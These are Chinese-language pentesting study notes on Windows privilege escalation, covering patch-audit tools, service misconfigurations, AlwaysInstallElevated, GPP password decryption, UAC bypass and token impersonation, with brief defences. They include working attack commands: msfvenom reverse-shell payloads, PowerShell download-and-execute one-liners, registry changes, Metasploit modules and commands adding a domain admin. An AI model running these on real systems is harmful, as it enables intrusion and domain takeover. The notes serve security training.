郑重声明:
本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关。倡导维护网络安全人人有责,共同维护网络文明和谐。
Windows 提权
前提:已经登录到目标系统的服务器上,但是得到的是一个低权限用户,进行提权,最终达到全面控制目标系统
user-->administrator-->system(他们的权限之间是有交集,不是完全包含,user 被 administrator 包含)
当获得 user 提权为 administrator
当获得 administrator 提权为system
生成个木马
msfvenom -a x86 --platform windows -p windows/x86/shell/reverse_tcp LHOST=192.168.0.2 -b '\x00' -f exe -o evil.exe
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.0.2 lport=4444 -a x64 -f exe > Desktop/evil.exe
1 利用漏洞提权
1.1 手工查找系统缺失补丁
-
确认当前系统权限
whoami /groups
:- Mandatory Label\Medium Mandatory Level:标准用户
- Mandatory Label\High Mandatory Level:管理员用户
-
查找当前系统安装过的补丁
-
wmic qfe get
-
systeminfo
-
1.2 Windows 补丁审计工具
1.2.1 Windows-Exploit-Suggester
SecWiki/windows-kernel-exploits: windows-kernel-exploits Windows平台提权漏洞集合 (github.com)
利用前提:
- python2 环境
# 安装 xlrd 库
pip2 install xlrd --upgrade
# update the database
./windows-exploit-suggester.py -u
# 导出靶机系统信息到本地
systeminfo > systeminfo.txt
# 查找可以利用的漏洞
./windows-exploit-suggester.py --database 2021-07-18-mssb.xls --systeminfo systeminfo.txt
# 查找可以利用本地提权的漏洞
./windows-exploit-suggester.py -a -l --database 2021-07-18-mssb.xls --systeminfo systeminfo.txt
# 如果没有打补丁,就会显示可以利用的 ms 编号、 exp 的地址和描述
1.2.2 Sherlock
import-module .\Sherlock.ps1
Find-AllVulns
1.3 MSF 模块查找可利用漏洞
post/multi/recon/local_exploit_suggester
2 利用 Windows 配置错误提权
2.1 系统服务权限配置错误
- 服务未运行:利用任意服务替换原来的服务,然后重启服务。
- 服务正运行且无法终止:利用 DLL 劫持技术并尝试重启服务来提权。
2.1.1 利用 PowerUp 进行本地提权:
# 下载到本地后执行
powershell.exe -exec bypass -Command "& {Import-Module .\PowerUp.ps1; Invoke-AllChecks}"
powershell -nop -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString('c:/PowerUp.ps1');Invoke-AllChecks”
# 远程下载执行
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1'); Invoke-AllChecks"
如图说了利用Install-ServiceBinary模块,通过Write-ServiceBinary编写一个c#服务来添加一个用户
powershell -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('./PowerUp.ps1');Install-ServiceBinary -ServiceName 'rpcapd' -UserName test -Password test
“Everyone” 用户对这个文件有完全控制权,就是说所有用户都具有全部权限修改这个文件夹。
2.1.2 MSF 中的 service_permissions 提权
MSF 中对应的模块为: exploit/windows/local/service_permissions
。
2.2 注册表键 AlwaysInstallElevated
注册表键 AlwaysInstallElevated 是一个策略设置项。Windows 允许低权限用户以 System 权限运行安装文件。如果启用此策略设置项,那么任何权限用户都能以 NT AUTHORITY\SYSTEM 权限来安装恶意的 MSI(Microsoft Windows Installer) 文件。
# 开启 AlwaysInstallElevated 功能
打开 gpedit.msc,组策略-计算机配置-管理模板-Windows 组件-Windows Installer-永远以高特权进行安装:选择启用
打开 gpedit.msc,组策略-用户配置-管理模板-Windows 组件-Windows Installer-永远以高特权进行安装:选择启用
# CMD 下开启 AlwaysInstallElevated 功能
reg add HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
- 利用 PowerUP 的 Get-RegAlwaysInstallElevated 模块来检查注册表键是否被设置。
powershell -nop -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString('c:/PowerUp.ps1');Get-RegAlwaysInstallElevated”
- 添加账户:利用 Write-UserAddMSI 模块,生成 MSI 文件。再以普通用户权限运行 UserAdd.msi,添加一个管理员账户
- MSF 中对应的模块为:
exploit/windows/local/always_install_elevated
。 - 防御:只要禁用注册表键 AlwaysInstallElevated,就可以阻止攻击者通过 MSI 文件进行提权。
2.3 可信任服务路径漏洞
windows服务通常都是以 System 权限运行的,所以系统在解析服务所对应的文件路径中的空格时,也会以系统权限进行解析。如果一个被恶意命名的执行程序被上传到受影响的目录中,服务一旦重启,就有机会进行权限提升为 System 权限。
例如,有如下的文件路径:
C:\Program Files\Some Folder\Service.exe
对于上面文件路径中的每一个空格,windows 都会尝试寻找并执行名字与空格前的名字向匹配的程序。操作系统会对文件路径中空格的所有可能进行尝试,直到找到一个匹配的程序。以上面的例子为例,windows会依次尝试确定和执行下面的程序:
C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe
-
检测目标机器是否存在可信服务路径漏洞
# 使用 wmic 列出没有被引号所引起来的服务路径 wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr/i /v """
-
检查存在漏洞的目录是否有写入的权限
利用 Windows内建工具:icacls,下面我们用这个工具依次来检查“C:\Program Files”、“C:\Program Files\Common Files”、“C:\Program Files\Common Files\microsoftshared”等目录的权限。 参数说明: “Everyone”用户对这个文件有完全控制权,就是说所有用户都具有全部权限修改这个文件夹。 “M”表示修改 “F”代表完全控制 “CI”代表从属容器将继承访问控制项 “OI”代表从属文件将继承访问控制项。 Everyone:(OI)(CI)(F)意味着对该目录有读,写,删除其下的文件,删除其子目录的权限。
-
利用漏洞:将要上传的程序重命名并放置在存在此漏洞且可写的目录下,并尝试重启服务进行提权。
-
MSF 对应模块:
exploit/windows/local/unquoted_service_path
。
2.4 自动安装配置文件
网络管理员在内网中给多台计算器配置同一个环境时,通常会使用脚本化批量部署的方法,这个过程就会使用安装配置文件。这些文件中包含的安装配置信息,其中还可以包含管理员账号密码等。
# 搜索Unattend.xml文件
dir /b /s c:\Unattend.xml
# MSF 中对应模块
post/windows/gather/enum_unattend
3 组策略首选项提权分析及防范
SYSVOL 是活动目录里面的一个用于存储公共文件服务副本的共享文件夹,在域中的所有域控制器之间进行复制。SYSVOL 文件夹是在安装活动目录时自动创建的,主要用来存放登录脚本、组策略数据及其他域控制器需要的域信息等。SYSVOL 在所有经过身份验证的域用户或者域信任用户具有读权限的活动目录的域范围内共享。整个 SYSVO L目录在所有的域控制器中是自动同步和共享的,所有的域策略均存放在 C:\Windows\SYSVOL\DOMAIN\Policies
目录中。
常见的组策略首选项(GPP)
- 映射驱动器(Drives.xml)
- 创建本地用户
- 数据源(DataSources.xml)
- 打印机配置(Printers.xml)
- 创建/更新服务(Services.xml)
- 计划任务(ScheduledTasks.xml)
3.1 利用组策略批量修改域中机器本地管理员密码
组策略管理-林:test.lab-域-test.lab-右键:Default Domain Policy
组策略编辑器-计算机配置-首选项-控制面板设置-本地用户和组
本地用户和组-右键:新建-本地用户-配置如下图
将 Domain Computer 组添加到验证组策略对象列表中,将新建的组策略应用到域中所有的非域控制器中
手动更新组策略的更新信息
C:\Users\administrator>gpupdate
3.2 获取组策略的凭据
管理员在域中新建一个组策略后,操作系统会自动在SYSVOL共享目录中生成一个XML文件,该文件中保存了该组策略更新后的密码。该密码使用了AES-256加密算法,安全性比较高。但是微软在网站上公布过这个算法的私钥,任何域用户和域信任的用户均可对该共享目标进行访问,任何用户都可以访问保存在XML文件中的密码并将其解密,从而控制域中所有使用该账户/密码的本地管理员计算机。
# 手动查找 cpassword
\\test.lab\SYSVOL\test.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups
python Gpprefdecrypt.py A48HwlVXS/3M2Asazld/dz+ATwKowJVcVhIM67sfhO8
# PowerSploit
Import-Module .\PowerSploit.psd1
Get-GPPPassword
# MSF
利用 post/windows/gather/credentials/gpp 模块进行自动查找
# 其他组策略首选项中可选的 cpassword 属性
Services\Services.xml
ScheduledTasks\ScheduledTasks.xml
Printers\Printers.xml
Drives\Drives.xml
DataSources\DataSources.xml
3.3 防御组策略首选项提权
- 设置共享文件夹的 SYSVOL 的访问权限
- 将包含组策略密码的 XML 文件从 SYSVOL 目录中删除
- 不要将密码放在所有域用户都有权限访问的文件中
- 建议使用 LAPS 进行更改域中机器的本地管理员密码
4 绕过 UAC 提权
4.1 获取 system 账号权限:
- 提权失败,一般是由于 UAC 限制
4.2 绕过 UAC 限制方式
# 通过不停的弹出UAC窗口,让没有安全意识的人选择yes。
use exploit/windows/local/ask
set filename update.exe
set session 1
# 在用户不知情的情况下关闭 UAC
use exploit/windows/local/bypassuac
# bypassuac_injection
use exploit/windows/local/bypassuac_injection
set target 1
set payload windows/x64/meterpreter/reverse_tcp
# 64 位的只能用 64 位的 payload,使用 86 的会报错
[-] Exploit aborted due to failure: bad-config: x86 Target Selected for x64 System
5 使用 tokens 攻击域控制器
令牌(Token) 就是系统的临时密钥,相当于账号和密码,用于决定是否允许这次请求及判断当前请求是属于哪一个用户的。它允许你在不提供密码或其他凭证的前提下,访问网络和系统资源。这些令牌将持续存在于系统中,除非系统重新启动。令牌最大的特点就是随机性和不可预测性,一般的攻击无法将令牌猜测出来。tokens 攻击的核心是 Kerberos 协议。
客户端请求证书的过程如下所示。
- 客户端向认证服务器(AS)发送请求,要求得到服务器的证书。
- AS收到请求后,将包含客户端密钥的加密证书响应发送给客户端。该证书包括服务器ticket (包括服务器密钥加密的客户机身份和一份会话密钥)和一个临时加密密钥(又称为会话密钥,session key) 。当然,认证服务器也会给服务器发送一份该证书,使服务器可以认证登录客户端的身份。
- 客户端将ticket传到服务器上,如果服务器确认该客户端身份,便允许它登录服务器。
- 客户端登录成功后,攻击者就可以通过入侵服务器获取客户端的令牌。
- 用户每次登录,账号绑定临时的tokens,访问资源时提交 tokens 进行身份验证,类似于 web cookies。delegate tokens 账号注销后变为 Impersonate Token,权限依然有效(delegate tokens:交互登录会话,impersonate tokens:非交互登录会话)。
5.1 Tokens 攻击过程
-
tokens 攻击需要拥有目标主机的 getsystem 权限,本地普通权限用户需要先取得本地权限
-
加载模块,并查看当前主机中的 tokens
load incognito list_tokens -u
-
域管理员没有登陆目标设备时
-
通过域控制器访问共享目录,创建一个Token:
\\192.168.10.22\C$
-
窃取 Token:
impersonate_token LAB\\administrator
-
使用 LAB\administrator 用户开启 CMD:
execute -f cmd.exe -i -t
(-i,直接进入cmd,执行交互; -t:使用当前假冒tokens执行程序) -
添加域管理员
net user admin1 Admin123 /ad /domain net group "domain admins" admin1 /ad /domain
6 Windows 服务器提权
6.1 IIS 中的权限简介
在渗透测试中 ,我们获取的权限是 iis_user 用户组 ,要更高的权限就需要把当前的用户提权到系统用户或超级管理员用户组。更高的权限方便我们在后续的渗透中,扩大范围测试。
6.1.1 IIS 特性
- IIS 中默认文件上传大小不能超过 200k, 否则会报错。
6.1.2 IIS 中的权限
Windows 中 权限大小为:aspx->php=>asp
-
aspx 默认能执行终端命令;